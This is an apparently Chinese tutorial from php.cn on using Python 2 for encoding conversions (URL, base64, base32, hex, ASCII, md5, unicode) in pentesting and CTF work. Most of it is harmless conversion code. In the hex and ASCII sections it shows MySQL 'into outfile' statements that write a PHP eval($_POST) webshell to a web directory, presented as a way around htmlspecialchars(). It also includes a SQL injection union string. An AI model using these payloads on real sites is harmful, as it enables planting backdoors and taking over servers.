python中关于编码转换的实例详解-Tutorial Python-php.cn

python中关于编码转换的实例详解

Y2J

Lepaskan： 2017-05-03 15:52:49

asal

1598 orang telah melayarinya

在日常渗透，漏洞挖掘，甚至是CTF比赛中会遇到各种编码，常常伴随着这些编码之间的各种转换。下面这篇文章主要介绍了python中编码转换妙用的相关资料，需要的朋友们可以参考借鉴，下面来一起看看吧。

前言

记得刚入门那个时候，自己处理编码转换问题往往是“百度：url解码、base64加密、hex……”，或者是使用一款叫做“小葵多功能转换工具”的软件，再后来直接上Burpsuite的decoder功能，感觉用的还挺好的。不过，也遇到些问题：在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题，比如burp中涉及中文往往显示乱码。

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
&#39;union%20select%20null%2Cnull%2Cnull&#39;
>>> unquote("union%20select%20null%2Cnull%2Cnull")
&#39;union select null,null,null&#39;
>>> urlencode({&#39;x&#39;:&#39;2333&#39;,&#39;y&#39;:&#39;666&#39;})
&#39;y=666&x=2333&#39;

Salin selepas log masuk

Base64

Base64常常用作网页表单和HTTP传输的一些参数，也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
&#39;YWRtaW4=&#39;
>>> base64.b64decode(&#39;YWRtaW4=&#39;)
&#39;admin&#39;

Salin selepas log masuk

记得有次ctf比赛中考到了base32解密，一般网站不提供在线解密，一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单，只需要将函数改变下：

>>> import base64
>>> base64.b32encode(&#39;jjjjj&#39;)
&#39;NJVGU2TK&#39;
>>> base64.b32decode(&#39;NJVGU2TK&#39;)
&#39;jjjjj&#39;

Salin selepas log masuk

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员，我们心知肚明的是，MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如：

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile &#39;/web/1.php&#39;

Salin selepas log masuk

下面是python实现hex加解密的方法：

>>> &#39;<?php @eval($_POST[a]); ?>&#39;.encode(&#39;hex&#39;)
&#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;
>>>
>>> print &#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;.decode(&#39;hex&#39;)
<?php @eval($_POST[a]); ?>
>>>

Salin selepas log masuk

ASCii

MySQL中的char()函数则是转换ascii码的，正因如此，也可以使用这个特性来绕过htmlspecialchars()函数。

比如：

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile &#39;/web/1.php&#39;

Salin selepas log masuk

使用python将字符串转换ascii很简单，但是逆转换的话需要需要点小操作：

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print &#39;&#39;.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Salin selepas log masuk

Md5

md5在web安全界可以说是人尽皆知了，以他的不可逆性，大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密，这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update(&#39;this is a secret&#39;)
>>> m.hexdigest()
&#39;7dbbcee180ba4d456e4aa1cfbdad9c7b&#39;

>>> m.hexdigest()[8:-8]
&#39;80ba4d456e4aa1cf&#39;
>>>

Salin selepas log masuk

Unicode转中文

unicode转换中文，很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题，在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

Salin selepas log masuk

总结

Atas ialah kandungan terperinci python中关于编码转换的实例详解. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!